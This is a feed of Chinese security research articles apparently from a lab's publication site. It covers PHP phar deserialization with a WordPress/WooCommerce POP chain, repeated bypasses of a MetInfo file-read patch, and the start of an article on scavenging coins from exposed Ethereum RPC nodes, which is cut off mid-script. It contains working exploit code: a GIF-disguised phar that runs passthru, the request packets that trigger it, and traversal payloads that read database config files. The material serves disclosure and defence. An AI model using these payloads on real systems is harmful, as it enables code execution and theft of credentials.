[2] 获利交易https://etherscan.io/tx/0xe08a519c03cb0aed0e04b33104112d65fa1d3a48cd3aeab65f047b2abce9d508
[3] 攻击合约https://etherscan.io/address/0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801
[4] Fomo3D 千万大奖获得者“特殊攻击技巧”最全揭露https://mp.weixin.qq.com/s/MCuGJepXr_f18xrXZsImBQ
[5] 「首次深度揭秘」Fomo3D,被黑客拿走的2200万https://mp.weixin.qq.com/s/s_RCF_EDlptQpm3d7mzApA
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/681/
-
利用 phar 拓展 php 反序列化漏洞攻击面
作者:seaii@知道创宇404实验室
时间:2018/08/230x01 前言
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员
Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。0x02 原理分析
2.1 phar文件结构
在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:
1. a stub
可以理解为一个标志,格式为
xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3. the file contents
被压缩文件的内容。
4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
2.2 demo测试
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的
phar.readonly
选项设置为Off
,否则无法生成phar文件。phar_gen.php
1234567891011121314<span class="cp"><?php</span><span class="k">class</span> <span class="nc">TestObject</span> <span class="p">{</span><span class="p">}</span><span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span> <span class="c1">//后缀名必须为phar</span><span class="nv">$phar</span><span class="o">-></span><span class="na">startBuffering</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setStub</span><span class="p">(</span><span class="s2">"<?php __HALT_COMPILER(); ?>"</span><span class="p">);</span> <span class="c1">//设置stub</span><span class="nv">$o</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TestObject</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$o</span><span class="p">);</span> <span class="c1">//将自定义的meta-data存入manifest</span><span class="nv">$phar</span><span class="o">-></span><span class="na">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span> <span class="s2">"test"</span><span class="p">);</span> <span class="c1">//添加要压缩的文件</span><span class="c1">//签名自动计算</span><span class="nv">$phar</span><span class="o">-></span><span class="na">stopBuffering</span><span class="p">();</span><span class="cp">?></span>可以明显的看到meta-data是以序列化的形式存储的:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过
phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:来看一下php底层代码是如何处理的:
php-src/ext/phar/phar.c
通过一个小demo来证明一下:
phar_test1.php
12345678910<span class="cp"><?php</span><span class="k">class</span> <span class="nc">TestObject</span> <span class="p">{</span><span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span><span class="k">echo</span> <span class="s1">'Destruct called'</span><span class="p">;</span><span class="p">}</span><span class="p">}</span><span class="nv">$filename</span> <span class="o">=</span> <span class="s1">'phar://phar.phar/test.txt'</span><span class="p">;</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">);</span><span class="cp">?></span>其他函数当然也是可行的:
phar_test2.php
1234567891011<span class="cp"><?php</span><span class="k">class</span> <span class="nc">TestObject</span> <span class="p">{</span><span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span> <span class="p">{</span><span class="k">echo</span> <span class="s1">'Destruct called'</span><span class="p">;</span><span class="p">}</span><span class="p">}</span><span class="nv">$filename</span> <span class="o">=</span> <span class="s1">'phar://phar.phar/a_random_string'</span><span class="p">;</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$filename</span><span class="p">);</span><span class="c1">//......</span><span class="cp">?></span>当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
2.3 将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是
__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。1234567891011121314<span class="cp"><?php</span><span class="k">class</span> <span class="nc">TestObject</span> <span class="p">{</span><span class="p">}</span><span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span><span class="nv">$phar</span><span class="o">-></span><span class="na">startBuffering</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setStub</span><span class="p">(</span><span class="s2">"GIF89a"</span><span class="o">.</span><span class="s2">"<?php __HALT_COMPILER(); ?>"</span><span class="p">);</span> <span class="c1">//设置stub,增加gif文件头</span><span class="nv">$o</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TestObject</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$o</span><span class="p">);</span> <span class="c1">//将自定义meta-data存入manifest</span><span class="nv">$phar</span><span class="o">-></span><span class="na">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span> <span class="s2">"test"</span><span class="p">);</span> <span class="c1">//添加要压缩的文件</span><span class="c1">//签名自动计算</span><span class="nv">$phar</span><span class="o">-></span><span class="na">stopBuffering</span><span class="p">();</span><span class="cp">?></span>采用这种方法可以绕过很大一部分上传检测。
0x03 实际利用
3.1 利用条件
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
3.2 wordpress
wordpress是网络上最广泛使用的cms,这个漏洞在2017年2月份就报告给了官方,但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中,同样没有修补。根据利用条件,我们先要构造phar文件。
首先寻找能够执行任意代码的类方法:
wp-includes/Requests/Utility/FilteredIterator.php
1234567891011121314<span class="x">class Requests_Utility_FilteredIterator extends ArrayIterator {</span><span class="x"> /**</span><span class="x"> * Callback to run as a filter</span><span class="x"> *</span><span class="x"> * @var callable</span><span class="x"> */</span><span class="x"> protected $callback;</span><span class="x"> ...</span><span class="x"> public function current() {</span><span class="x"> $value = parent::current();</span><span class="x"> $value = call_user_func($this->callback, $value);</span><span class="x"> return $value;</span><span class="x"> }</span><span class="x">}</span>这个类继承了
ArrayIterator
,每当这个类实例化的对象进入foreach
被遍历的时候,current()
方法就会被调用。下一步要寻找一个内部使用foreach
的析构方法,很遗憾wordpress的核心代码中并没有合适的类,只能从插件入手。这里在WooCommerce插件中找到一个能够利用的类:wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php
123456789101112<span class="x">class WC_Log_Handler_File extends WC_Log_Handler {</span><span class="x"> protected $handles = array();</span><span class="x"> /*......*/</span><span class="x"> public function __destruct() {</span><span class="x"> foreach ( $this->handles as $handle ) {</span><span class="x"> if ( is_resource( $handle ) ) {</span><span class="x"> fclose( $handle ); // @codingStandardsIgnoreLine.</span><span class="x"> }</span><span class="x"> }</span><span class="x"> }</span><span class="x"> /*......*/</span><span class="x">}</span>到这里pop链就构造完成了,据此构建phar文件:
1234567891011121314151617181920212223242526<span class="cp"><?php</span><span class="k">class</span> <span class="nc">Requests_Utility_FilteredIterator</span> <span class="k">extends</span> <span class="nx">ArrayIterator</span> <span class="p">{</span><span class="k">protected</span> <span class="nv">$callback</span><span class="p">;</span><span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$callback</span><span class="p">)</span> <span class="p">{</span><span class="k">parent</span><span class="o">::</span><span class="na">__construct</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span><span class="nv">$this</span><span class="o">-></span><span class="na">callback</span> <span class="o">=</span> <span class="nv">$callback</span><span class="p">;</span><span class="p">}</span><span class="p">}</span><span class="k">class</span> <span class="nc">WC_Log_Handler_File</span> <span class="p">{</span><span class="k">protected</span> <span class="nv">$handles</span><span class="p">;</span><span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span> <span class="p">{</span><span class="nv">$this</span><span class="o">-></span><span class="na">handles</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Requests_Utility_FilteredIterator</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'id'</span><span class="p">),</span> <span class="s1">'passthru'</span><span class="p">);</span><span class="p">}</span><span class="p">}</span><span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span><span class="nv">$phar</span><span class="o">-></span><span class="na">startBuffering</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setStub</span><span class="p">(</span><span class="s2">"GIF89a"</span><span class="o">.</span><span class="s2">"<?php __HALT_COMPILER(); ?>"</span><span class="p">);</span> <span class="c1">//设置stub, 增加gif文件头,伪造文件类型</span><span class="nv">$o</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WC_Log_Handler_File</span><span class="p">();</span><span class="nv">$phar</span><span class="o">-></span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$o</span><span class="p">);</span> <span class="c1">//将自定义meta-data存入manifest</span><span class="nv">$phar</span><span class="o">-></span><span class="na">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span> <span class="s2">"test"</span><span class="p">);</span> <span class="c1">//添加要压缩的文件</span><span class="c1">//签名自动计算</span><span class="nv">$phar</span><span class="o">-></span><span class="na">stopBuffering</span><span class="p">();</span><span class="cp">?></span>将后缀名改为gif后,可以在后台上传,也可以通过xmlrpc接口上传,都需要author及以上的权限。记下上传后的文件名和post_ID。
接下来我们要找到一个参数可控的文件系统函数:
wp-includes/post.php
12345678910111213141516171819202122<span class="x">function wp_get_attachment_thumb_file( $post_id = 0 ) {</span><span class="x"> $post_id = (int) $post_id;</span><span class="x"> if ( !$post = get_post( $post_id ) )</span><span class="x"> return false;</span><span class="x"> if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )</span><span class="x"> return false;</span><span class="x"> $file = get_attached_file( $post->ID );</span><span class="x"> if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {</span><span class="x"> /**</span><span class="x"> * Filters the attachment thumbnail file path.</span><span class="x"> *</span><span class="x"> * @since 2.1.0</span><span class="x"> *</span><span class="x"> * @param string $thumbfile File path to the attachment thumbnail.</span><span class="x"> * @param int $post_id Attachment ID.</span><span class="x"> */</span><span class="x"> return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );</span><span class="x"> }</span><span class="x"> return false;</span><span class="x">}</span>该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到,变量
$thumbfile
传入了file_exists()
,正是我们需要的函数,现在我们需要回溯一下$thumbfile
变量,看其是否可控。根据
$thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)
,如果basename($file)
与$file
相同的话,那么$thumbfile
的值就是$imagedata['thumb']
的值。先来看$file
是如何获取到的:wp-includes/post.php
12345678910111213141516171819202122<span class="x">function get_attached_file( $attachment_id, $unfiltered = false ) {</span><span class="x"> $file = get_post_meta( $attachment_id, '_wp_attached_file', true );</span><span class="x"> // If the file is relative, prepend upload dir.</span><span class="x"> if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {</span><span class="x"> $file = $uploads['basedir'] . "/$file";</span><span class="x"> }</span><span class="x"> if ( $unfiltered ) {</span><span class="x"> return $file;</span><span class="x"> }</span><span class="x"> /**</span><span class="x"> * Filters the attached file based on the given ID.</span><span class="x"> *</span><span class="x"> * @since 2.1.0</span><span class="x"> *</span><span class="x"> * @param string $file Path to attached file.</span><span class="x"> * @param int $attachment_id Attachment ID.</span><span class="x"> */</span><span class="x"> return apply_filters( 'get_attached_file', $file, $attachment_id );</span><span class="x">}</span>如果
$file
是类似于windows盘符的路径Z:\Z
,正则匹配就会失败,$file
就不会拼接其他东西,此时就可以保证basename($file)
与$file
相同。可以通过发送如下数据包来调用设置
$file
的值:12345678910111213<span class="nf">POST</span> <span class="nn">/wordpress/wp-admin/post.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span><span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1</span><span class="na">Content-Length</span><span class="o">:</span> <span class="l">147</span><span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span><span class="na">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8</span><span class="na">Referer</span><span class="o">:</span> <span class="l">http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit</span><span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span><span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.9</span><span class="na">Cookie</span><span class="o">:</span> <span class="l">wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM</span><span class="na">Connection</span><span class="o">:</span> <span class="l">close</span>_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z同样可以通过发送如下数据包来设置
$imagedata['thumb']
的值:12345678910111213<span class="nf">POST</span> <span class="nn">/wordpress/wp-admin/post.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span><span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1</span><span class="na">Content-Length</span><span class="o">:</span> <span class="l">184</span><span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span><span class="na">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8</span><span class="na">Referer</span><span class="o">:</span> <span class="l">http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit</span><span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span><span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.9</span><span class="na">Cookie</span><span class="o">:</span> <span class="l">wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM</span><span class="na">Connection</span><span class="o">:</span> <span class="l">close</span>_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt_wpnonce
可在修改页面中获取。最后通过XMLRPC调用"wp.getMediaItem"这个方法来调用
wp_get_attachment_thumb_file()
函数来触发反序列化。xml调用数据包如下:12345678910111213141516171819202122232425262728293031323334<span class="nf">POST</span> <span class="nn">/wordpress/xmlrpc.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span><span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1</span><span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/xml</span><span class="na">Cookie</span><span class="o">:</span> <span class="l">XDEBUG_SESSION=PHPSTORM</span><span class="na">Content-Length</span><span class="o">:</span> <span class="l">529</span><span class="na">Connection</span><span class="o">:</span> <span class="l">close</span><span class="cp"><?xml version="1.0" encoding="utf-8"?></span><span class="nt"><methodCall></span><span class="nt"><methodName></span>wp.getMediaItem<span class="nt"></methodName></span><span class="nt"><params></span><span class="nt"><param></span><span class="nt"><value></span><span class="nt"><string></span>1<span class="nt"></string></span><span class="nt"></value></span><span class="nt"></param></span><span class="nt"><param></span><span class="nt"><value></span><span class="nt"><string></span>author<span class="nt"></string></span><span class="nt"></value></span><span class="nt"></param></span><span class="nt"><param></span><span class="nt"><value></span><span class="nt"><string></span>you_password<span class="nt"></string></span><span class="nt"></value></span><span class="nt"></param></span><span class="nt"><param></span><span class="nt"><value></span><span class="nt"><int></span>11<span class="nt"></int></span><span class="nt"></value></span><span class="nt"></param></span><span class="nt"></params></span><span class="nt"></methodCall></span>0x04 防御
- 在文件系统函数的参数可控时,对参数进行严格的过滤。
- 严格检查上传文件的内容,而不是只检查文件头。
- 在条件允许的情况下禁用可执行系统命令、代码的危险函数。
0x05 参考链接
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
- http://php.net/manual/en/intro.phar.php
- http://php.net/manual/en/phar.fileformat.ingredients.php
- http://php.net/manual/en/phar.fileformat.signature.php
- https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/680/
-
MetInfo 任意文件读取漏洞的修复与绕过
Author: Badcode@知道创宇404实验室
Date: 2018/08/20404实验室内部的WAM(Web应用监控程序,文末有关于WAM的介绍)监控到 MetInfo 版本更新,并且自动diff了文件,从diff上来看,应该是修复了一个任意文件读取漏洞,但是没有修复完全,导致还可以被绕过,本文就是记录这个漏洞的修复与绕过的过程。
漏洞简介
MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的
old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。漏洞影响
- MetInfo 6.0.0
- MetInfo 6.1.0
漏洞分析
看到
\MetInfo6\app\system\include\module\old_thumb.class.php
123456789101112131415161718192021222324<span class="cp"><?php</span><span class="c1"># MetInfo Enterprise Content Management System</span><span class="c1"># Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.</span><span class="nb">defined</span><span class="p">(</span><span class="s1">'IN_MET'</span><span class="p">)</span> <span class="k">or</span> <span class="k">exit</span><span class="p">(</span><span class="s1">'No permission'</span><span class="p">);</span><span class="nx">load</span><span class="o">::</span><span class="na">sys_class</span><span class="p">(</span><span class="s1">'web'</span><span class="p">);</span><span class="k">class</span> <span class="nc">old_thumb</span> <span class="k">extends</span> <span class="nx">web</span><span class="p">{</span><span class="k">public</span> <span class="k">function</span> <span class="nf">doshow</span><span class="p">(){</span><span class="k">global</span> <span class="nv">$_M</span><span class="p">;</span><span class="nv">$dir</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'../'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'dir'</span><span class="p">]);</span><span class="k">if</span><span class="p">(</span><span class="nb">strstr</span><span class="p">(</span><span class="nb">str_replace</span><span class="p">(</span><span class="nv">$_M</span><span class="p">[</span><span class="s1">'url'</span><span class="p">][</span><span class="s1">'site'</span><span class="p">],</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$dir</span><span class="p">),</span> <span class="s1">'http'</span><span class="p">)){</span><span class="nb">header</span><span class="p">(</span><span class="s2">"Content-type: image/jpeg"</span><span class="p">);</span><span class="nb">ob_start</span><span class="p">();</span><span class="nb">readfile</span><span class="p">(</span><span class="nv">$dir</span><span class="p">);</span><span class="nb">ob_flush</span><span class="p">();</span><span class="nb">flush</span><span class="p">();</span><span class="k">die</span><span class="p">;</span><span class="p">}</span><span class="o">......</span>从代码中可以看到,
$dir
直接由$_GET['dir']
传递进来,并将../
置空。目标是进入到第一个 if 里面的readfile($dir);
,读取文件。看看 if 语句的条件,里面的是将$dir
中包含$_M['url']['site']
的部分置空,这里可以不用管。外面是一个strstr
函数,判断$dir
中http
字符串的首次出现位置,也就是说,要进入到这个 if 语句里面,$dir
中包含http
字符串即可。从上面的分析可以构造出 payload,只要
$dir
里包含http
字符串就可以进入到readfile
函数从而读取任意函数,然后可以使用..././
来进行目录跳转,因为../
会被置空,所以最终payload 如下1<span class="err">?dir=..././http/..././config/config_db.php</span>对于这个任意文件读取漏洞,官方一直没补好,导致被绕过了几次。以下几种绕过方式均已提交CNVD,由CNVD通报厂商。
第一次绕过
根据WAM的监测记录,官方5月份的时候补了这个漏洞,但是没补完全。
看下diff
可以看到,之前的只是把
../
置空,而补丁是把../
和./
都置空了。但是这里还是可以绕过。可以使用.....///
来跳转目录,.....///
经过str_replace
置空,正好剩下../
,可以跳转。所以payload是1<span class="x">?dir=.....///http/.....///config/config_db.php</span>第二次绕过
在提交第一种绕过方式给CNVD之后,MetInfo没多久就更新了,来看下官方的修复方式。
diff
这里加了一个判断,
$dir
要以http
开头,变换一下之前的payload就可以继续绕过了。1<span class="x">?dir=http/.....///.....///config/config_db.php</span>第三次绕过
再次提交之后,官方知悉该绕过方式,又补了一次了。
看下diff
看到补丁,又多加了一个判断条件,使用
strpos
函数查找./
首次出现的位置,也就是说不能有./
。没了./
,在Windows下还可以用..\
来跳转目录。所以payload1<span class="x">?dir=http\..\..\config\config_db.php</span>遗憾的是,这个只能在Windows环境下面才可以。
最终
目前在官网供下载的最新的6.1.0版本中,
old_thumb.class.php
这个文件已经被删除。总结
一次次的修补,一次次的绕过,感觉开发者应该是没有理解到漏洞利用的原理,一直以类黑名单的形式在修复,而黑名单的形式总是容易被绕过。除了删除文件外,根据实际功能,可以考虑使用白名单方式修复,例如限定所能读取的文件类型为图片类型。
关于WAM
WAM 应用监控:通过监控互联网开源 Web 应用的版本更新,自动化 Diff 审计源代码,发送漏洞告警邮件,第一时间发现漏洞及后门植入。
功能特性
- 目前已支持150种 Web 应用的版本源码监控
- 支持监控 Web 应用历史版本源码包下载
- 监控 Web 应用版本发布页面自动下载更新
- 自动 Diff 版本,比较文件更新,高亮显示,自动审计可疑漏洞或后门
- 自动邮件告警可以漏洞/后门审计结果
好消息来了,黑哥计划在 2018 KCon 大会上直接将 WAM 开源发布。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/676/
-
以太坊 “后偷渡时代” 盗币之 “拾荒攻击”
作者:Sissel@知道创宇404区块链安全研究团队
时间:2018年8月20日
英文版:https://paper.seebug.org/687/0x00 前言
2018年08月01日,知道创宇404区块链安全研究团队发布《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》,针对
偷渡漏洞
和后偷渡时代的盗币方式
进行了介绍,披露了后偷渡时代
的三种盗币方式:离线攻击、重放攻击和爆破攻击。在进一步的研究中,我们又发现了针对这些攻击方式的补充:拾荒攻击。攻击者或求助于矿工,或本身拥有一定算力以获得将交易打包进区块的权利。在偷渡漏洞中,攻击者在被攻击节点构造
gasPrice
为0
的交易,等待用户解锁账户签名广播。攻击者同时设置一个恶意节点,用于接收这笔交易。攻击者将符合条件的交易打包,就可以实现0
手续费完成转账。通过这种攻击,攻击者可以获取到余额不足以支付转账手续费或勉强足够支付手续费节点上的所有以太币,并在一定程度上可以防止其他攻击者的竞争,可谓是薅羊毛
的典范。除此之外,在薅够以太币残羹之后,攻击者又盯上了这些以太币已被盗光,但账户中残留的代币。直到现在,针对许多智能合约发行的代币,一些被攻击账户中的token,仍在小额地被攻击者以拾荒攻击盗走。
本文将从一笔零手续费交易谈起,模拟复现盗币的实际流程,对拾荒攻击成功的关键点进行分析。
0x01 从一笔零手续费交易谈起
在区块链系统中,每一笔交易都应该附带一部分gas以及相应的gasPrice作为手续费,当该交易被打包进区块,这笔手续费将用来奖励完成打包的矿工。
在《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中,我们提到了一个利用以太坊JSON-RPC接口的攻击者账号0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464。该攻击者在公网中扫描开放的RPC端口,构造高手续费的交易请求,一旦用户解锁账户,便会将用户余额转至攻击者的账户或攻击者创建的合约账户。
在分析该账户交易信息的时候,我们发现了一笔不符合常识的交易,先从这笔交易开始谈起。
交易地址:0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22
12345Function: transfer(address _to, uint256 _value)MethodID: 0xa9059cbb[0]: 000000000000000000000000957cd4ff9b3894fc78b5134a8dc72b032ffbc464[1]: 000000000000000000000000000000000000000000000000000000000abe7d00从0x00a329c0648769a73afac7f9381e08fb43dbea72向合约MinereumToken(攻击者的合约)的交易,虽然用户余额很少,但这笔交易使用了该账户所有余额作为value与合约交互,这笔交易使用了正常数量的gas,但它的gasPrice被设定为0。
前文提到,攻击者会使用较高的手续费来保证自己的交易成功,矿工会按照本节点的txpool中各交易的gasPrice倒序排列,优先将高gasPrice交易打包进之后的区块。在这个世界上每时每刻都在发生着无数笔交易,在最近七日,成交一笔交易的最低gasPrice是3Gwei。这笔零手续费交易究竟是如何发生,又是如何打包进区块的呢。
0x02 思路分析
在区块链系统中,任何人都可以加入区块链网络,成为其中一个节点,参与记账、挖矿等操作。保证区块链的可信性和去中心化的核心便是共识机制。
共识机制
在以太坊中,矿工将上一区块的哈希值、txpool中手续费较高的交易、时间戳等数据打包,不断计算nonce来挖矿,最先得出符合条件的nonce值的矿工将拥有记账权,得到手续费和挖矿奖励。矿工将广播得到的区块,其他节点会校验这一区块,若无错误,则认为新的区块产生,区块链高度增加。这就是各节点生成新区块保持共识的过程。
将0 gasPrice交易完成需要确认两个问题
- 矿工是否会接受这个交易,并将其打包
- 其余节点接收到含此交易的区块,是否会达成共识
下面我们来对0 gasPrice交易相关的操作进行测试。了解零手续费的交易如何产生,如何被txpool接受,打包了零手续费交易的区块能否被认可,确认上述问题的答案。
0x03 零手续费交易测试
a. 单节点测试
首先,我们来确认此交易是否可以进入节点的txpool中,启用一个测试链。默认rpc端口是8545,使用python的web3包发起一笔0 gasPrice转账。
1geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --rpc --rpcaddr 0.0.0.0 console节点一发起转账的脚本,转帐前要解锁账户
123456789101112<span class="token keyword">from</span> web3 <span class="token keyword">import</span> Web3<span class="token punctuation">,</span> HTTPProviderweb3 <span class="token operator">=</span> Web3<span class="token punctuation">(</span>HTTPProvider<span class="token punctuation">(</span><span class="token string">"<a class="token url-link" href="http://localhost:8545/">http://localhost:8545/</a>"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>web3<span class="token punctuation">.</span>eth<span class="token punctuation">.</span>accounts<span class="token punctuation">)</span><span class="token comment"># 转帐前要解锁账户</span>web3<span class="token punctuation">.</span>eth<span class="token punctuation">.</span>sendTransaction<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"from"</span><span class="token punctuation">:</span>web3<span class="token punctuation">.</span>eth<span class="token punctuation">.</span>accounts<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">"to"</span><span class="token punctuation">:</span>web3<span class="token punctuation">.</span>eth<span class="token punctuation">.</span>accounts<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string">"value"</span><span class="token punctuation">:</span> <span class="token number">10</span><span class="token punctuation">,</span><span class="token string">"gas"</span><span class="token punctuation">:</span><span class="token number">21000</span><span class="token 